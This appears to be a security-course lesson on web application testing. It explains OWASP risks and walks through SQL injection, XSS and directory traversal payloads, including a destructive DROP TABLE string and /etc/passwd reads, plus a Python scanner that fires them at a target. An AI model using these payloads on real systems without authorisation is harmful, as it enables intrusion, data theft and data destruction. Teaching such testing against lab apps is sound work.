Lesson 4 Web Application Security Testing
70 minutes
Web Application Security Testing
Web applications are common targets for attackers due to their accessibility and the valuable data they often handle. This lesson covers the most critical web application vulnerabilities and testing methodologies.
OWASP Top 10 (2021)
The Open Web Application Security Project (OWASP) maintains a list of the most critical web application security risks:
A01: Broken Access Control
Restrictions on authenticated users not properly enforced. Attackers can access unauthorized functionality or data.
Examples:- Accessing admin functions as regular user
- Viewing/editing other users' data
- IDOR (Insecure Direct Object References)
A02: Cryptographic Failures
Failures related to cryptography that often lead to sensitive data exposure.
Examples:- Transmitting data in clear text
- Using weak encryption algorithms
- Poor key management
A03: Injection
Untrusted data sent to interpreters as part of commands or queries.
Examples:- SQL Injection
- NoSQL Injection
- Command Injection
- LDAP Injection
A04: Insecure Design
Risks related to design and architectural flaws.
Examples:- Missing security controls
- Poor threat modeling
- Insecure design patterns
SQL Injection Deep Dive
SQL Injection occurs when malicious SQL code is inserted into application queries. It's one of the most serious web application vulnerabilities.
Types of SQL Injection
| Type | Description | Detection Method |
|---|---|---|
| Union-based | Uses UNION SQL operator to combine results | Error messages, data retrieval |
| Boolean-based | Uses boolean logic to extract information | True/false responses |
| Time-based | Uses database time delays to confirm injection | Response time variations |
| Out-of-band | Uses alternative channels (DNS, HTTP) for data exfiltration | External network requests |
SQL Injection Examples
-- Vulnerable query
SELECT * FROM users WHERE username = '$username' AND password = '$password';
-- Attack payload for authentication bypass
Username: admin'--
Password: anything
-- Resulting query (password check bypassed)
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything';
-- Union-based data extraction
Username: ' UNION SELECT username, password FROM users--
Password: anything
-- Time-based blind injection
Username: admin'; IF (1=1) WAITFOR DELAY '00:00:05'--
Password: anything
Cross-Site Scripting (XSS)
XSS allows attackers to inject malicious scripts into web pages viewed by other users.
Reflected XSS
Malicious script reflected off a web server
?search=<script>alert('XSS')</script>
Stored XSS
Malicious script permanently stored on target server
Comment: <img src=x onerror=alert('XSS')>
DOM XSS
Client-side script modifies DOM in unsafe way
document.innerHTML = userInput;
Web Application Testing Tools
Burp Suite
Comprehensive web app security testing platform
- Proxy for intercepting requests
- Scanner for automated testing
- Intruder for custom attacks
OWASP ZAP
Free and open-source web app scanner
- Automated scanning
- Manual testing tools
- API testing capabilities
SQLMap
Automated SQL injection testing tool
- Detects SQL injection vulnerabilities
- Supports multiple database types
- Data extraction capabilities
Python Web Application Security Scanner
#!/usr/bin/env python3
import requests
from urllib.parse import urljoin, urlparse
import re
import sys
from bs4 import BeautifulSoup
class WebAppScanner:
def __init__(self, target_url):
self.target_url = target_url
self.session = requests.Session()
self.vulnerabilities = []
self.forms = []
def extract_forms(self, url):
"""
Extract all forms from a webpage
"""
try:
response = self.session.get(url)
soup = BeautifulSoup(response.content, 'html.parser')
forms = soup.find_all('form')
for form in forms:
form_details = {
'action': form.get('action'),
'method': form.get('method', 'get').lower(),
'inputs': []
}
# Extract form inputs
for input_tag in form.find_all(['input', 'textarea', 'select']):
input_type = input_tag.get('type', 'text')
input_name = input_tag.get('name')
input_value = input_tag.get('value', '')
form_details['inputs'].append({
'type': input_type,
'name': input_name,
'value': input_value
})
self.forms.append(form_details)
return forms
except Exception as e:
print(f"Error extracting forms: {e}")
return []
def test_sql_injection(self, url, form_data=None):
"""
Test for SQL injection vulnerabilities
"""
sql_payloads = [
"'",
"1' OR '1'='1",
"1' AND 1=1--",
"1' UNION SELECT NULL--",
"'; DROP TABLE users; --"
]
sql_errors = [
"SQL syntax",
"mysql_fetch",
"ORA-01756",
"Microsoft JET Database",
"SQLServer JDBC Driver",
"PostgreSQL query failed",
"org.postgresql.util.PSQLException"
]
for payload in sql_payloads:
try:
if form_data:
# Test form submission
test_data = form_data.copy()
for key in test_data:
if test_data[key] != 'submit':
test_data[key] = payload
response = self.session.post(url, data=test_data)
else:
# Test URL parameter
response = self.session.get(f"{url}?id={payload}")
# Check for SQL error messages
for error in sql_errors:
if error.lower() in response.text.lower():
self.vulnerabilities.append({
'type': 'SQL Injection',
'severity': 'High',
'url': url,
'payload': payload,
'description': f'Possible SQL injection detected with payload: {payload}'
})
return True
except Exception as e:
continue
return False
def test_xss(self, url, form_data=None):
"""
Test for Cross-Site Scripting vulnerabilities
"""
xss_payloads = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"javascript:alert('XSS')",
"<svg onload=alert('XSS')>",
"';alert_function('XSS');//"
]
for payload in xss_payloads:
try:
if form_data:
# Test form submission
test_data = form_data.copy()
for key in test_data:
if test_data[key] != 'submit':
test_data[key] = payload
response = self.session.post(url, data=test_data)
else:
# Test URL parameter
response = self.session.get(f"{url}?search={payload}")
# Check if payload is reflected in response
if payload in response.text:
self.vulnerabilities.append({
'type': 'Cross-Site Scripting (XSS)',
'severity': 'High',
'url': url,
'payload': payload,
'description': f'Possible XSS vulnerability detected with payload: {payload}'
})
return True
except Exception as e:
continue
return False
def check_security_headers(self, url):
"""
Check for missing security headers
"""
try:
response = self.session.get(url)
headers = response.headers
security_headers = {
'X-Frame-Options': 'Clickjacking protection',
'X-Content-Type-Options': 'MIME type sniffing protection',
'X-XSS-Protection': 'XSS protection',
'Strict-Transport-Security': 'HTTPS enforcement',
'Content-Security-Policy': 'Content Security Policy'
}
for header, description in security_headers.items():
if header not in headers:
self.vulnerabilities.append({
'type': 'Security Headers',
'severity': 'Medium',
'url': url,
'description': f'Missing {header} header: {description}'
})
except Exception as e:
print(f"Error checking security headers: {e}")
def test_directory_traversal(self, url):
"""
Test for directory traversal vulnerabilities
"""
traversal_payloads = [
"../../../etc/passwd",
"..\\..\\..\\windows\\system32\\drivers\\etc\\hosts",
"%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64"
]
for payload in traversal_payloads:
try:
response = self.session.get(f"{url}?file={payload}")
# Check for common file contents
if "root:" in response.text or "# Copyright" in response.text:
self.vulnerabilities.append({
'type': 'Directory Traversal',
'severity': 'High',
'url': url,
'payload': payload,
'description': f'Directory traversal vulnerability detected with payload: {payload}'
})
return True
except Exception as e:
continue
return False
def run_scan(self):
"""
Run comprehensive web application security scan
"""
print(f"Starting web application security scan on {self.target_url}")
print("=" * 60)
# Check security headers
print("Checking security headers...")
self.check_security_headers(self.target_url)
# Extract forms
print("Extracting forms...")
self.extract_forms(self.target_url)
# Test for SQL injection
print("Testing for SQL injection...")
self.test_sql_injection(self.target_url)
# Test forms for SQL injection and XSS
for form in self.forms:
form_url = urljoin(self.target_url, form['action'] or '')
form_data = {}
# Prepare form data
for input_field in form['inputs']:
if input_field['name']:
form_data[input_field['name']] = input_field['value'] or 'test'
if form_data:
print(f"Testing form at {form_url}...")
self.test_sql_injection(form_url, form_data)
self.test_xss(form_url, form_data)
# Test for XSS
print("Testing for Cross-Site Scripting...")
self.test_xss(self.target_url)
# Test for directory traversal
print("Testing for directory traversal...")
self.test_directory_traversal(self.target_url)
# Generate report
self.generate_report()
def generate_report(self):
"""
Generate vulnerability report
"""
print("\n" + "=" * 60)
print("WEB APPLICATION SECURITY SCAN REPORT")
print("=" * 60)
if not self.vulnerabilities:
print("No vulnerabilities detected.")
return
# Group by severity
severity_order = ['High', 'Medium', 'Low']
for severity in severity_order:
vuln_list = [v for v in self.vulnerabilities if v['severity'] == severity]
if vuln_list:
print(f"\n{severity.upper()} SEVERITY ({len(vuln_list)} findings):")
print("-" * 40)
for i, vuln in enumerate(vuln_list, 1):
print(f"{i}. {vuln['type']}")
print(f" URL: {vuln.get('url', 'N/A')}")
print(f" Description: {vuln['description']}")
if 'payload' in vuln:
print(f" Payload: {vuln['payload']}")
print()
print(f"Total vulnerabilities found: {len(self.vulnerabilities)}")
def main():
if len(sys.argv) != 2:
print("Usage: python3 webapp_scanner.py ")
print("Example: python3 webapp_scanner.py http://example.com")
sys.exit(1)
target_url = sys.argv[1]
if not target_url.startswith(('http://', 'https://')):
target_url = 'http://' + target_url
scanner = WebAppScanner(target_url)
scanner.run_scan()
if __name__ == "__main__":
main()
Secure Coding Practices
Prevention Techniques
Input Validation
- Whitelist acceptable inputs
- Validate data types and formats
- Use parameterized queries
- Encode output properly
Security Controls
- Implement CSRF tokens
- Use secure session management
- Apply principle of least privilege
- Implement proper error handling
Exercise
Web Application Security Testing Lab
Objective: Practice identifying web application vulnerabilities.
- Set up a vulnerable web application:
- DVWA (Damn Vulnerable Web Application)
- WebGoat
- bWAPP
- Use manual testing techniques to find:
- SQL injection vulnerabilities
- XSS vulnerabilities
- Authentication bypasses
- Run the Python scanner script against the application
- Use Burp Suite or OWASP ZAP for automated scanning
- Compare results from manual vs automated testing
Lesson 4 of 10